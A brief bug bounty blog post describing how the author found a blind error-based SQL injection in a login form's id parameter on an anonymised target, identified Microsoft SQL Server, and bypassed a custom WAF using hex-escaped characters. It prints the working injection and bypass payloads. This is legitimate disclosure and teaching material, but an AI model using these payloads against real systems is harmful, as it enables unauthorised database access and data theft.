Blind SQL injection with a little WAF

tb
3 min readJul 17, 2023

--

My first ever security blog post, so pardon how I structure it haha. So here goes, for this story, I will be sharing about how I got rewarded my first ever bug using Blind SQL injection with a little bypass on a custom WAF.

Cool Injection image (?)

To set the context and to remove any references to the actual target application, we will call it example.com.

Initial Testing

At example.com, there was a typical login page and so I attempted to login and captured the request with Burp while authenticating.

Login Page

In the request we could see something similar to below (Most of the non-relevant fields are redacted).

POST /login HTTP/2
Host: example.com
...

{
"id":"TEST123456",
"password":"<ENCRYPTED-PASSWORD>"
}

Seeing that the password was encrypted, I just went ahead to test for SQL injection on the id parameter. Below, we can see the values allowed me to identify the SQL injection vulnerability and potentially its SQL variant.

# Initial Payload
kair0s3' ==> Server Error Message

# Attempting to sanity check for SQL injection
kair0s3' # ==> Server Error Message
kair0s3' -- - ==> No Error message

# Narrowing down the SQL server used
kair0s3' || '123 ==> Server Error Message
kair0s3' + '123 ==> No Error Message

Through this, I was able to verify that 1) the SQL injection vulnerability most likely exists and 2) pretty sure this is a Microsoft SQL server, since it accepts -- as comments and allows for string concatenation with +.

However, here we see that the server errors out when the syntax is wrong, but when it is valid, it always returns no error message. This presents us with another issue, we need to find a way to induce some sort of “condition” to infer whether the injected SQL statement is true or false.

Inducing Error in SQL injection

Since, the result of the injected SQL statement cannot be inferred visually, we could make use of a blind error-based SQL injection attack.

After running around online cheatsheets and some docs for Microsoft SQL, I came up with the following injection payload.

# This returns Server Error Message
# Because 'kair0s3' is not equals to 'h8d3s' and this results in 1/0
# And since division by zero is invalid, this errors out.
kair0s3' or (case when 'kair0s3'='h8d3s' then 1 else 1/0 end)=1 --

# This returns no errors at all!
kair0s3' or (case when 'kair0s3'='kair0s3' then 1 else 1/0 end)=1 --

Given that we now have a way to deduce if it is true or false based on the error being returned. With that we can just modify the injection payload to demonstrate the bug exists (by dumping out database version etc.)

But wait! There is still one last hurdle, remember that I mentioned a WAF earlier. So, we need to bypass that to run certain commands.

Bypassing the WAF

Testing the out different commands e.g. @@version, HOST_NAME()etc. It seemed that it was all blocked, even len(). So, I tried to escape certain characters to bypass the WAF starting with URL encoding.

# URL encoding (failed to bypass)
kair0s3' or (case when len%28'kair0s3'%29=7 then 1 else 1/0 end)=1 --

# Using Hex Escaping (SUCCESS!!)
kair0s3' or (case when len\x28'kair0s3'\x29=7 then 1 else 1/0 end)=1 --

And all of sudden the injection payload went through! From here, it was just enumeration of the database’s basic information as PoC of the bug.

Headspace

Honestly, I didn’t expect the bypass to actually work but hey, it did! And also, I learnt about how to properly induce a blind error based SQL injection on Microsoft SQL server which was nice to know ~

--

--

tb
tb

Written by tb

Friendly neighbourhood white hat 💻

Responses (1)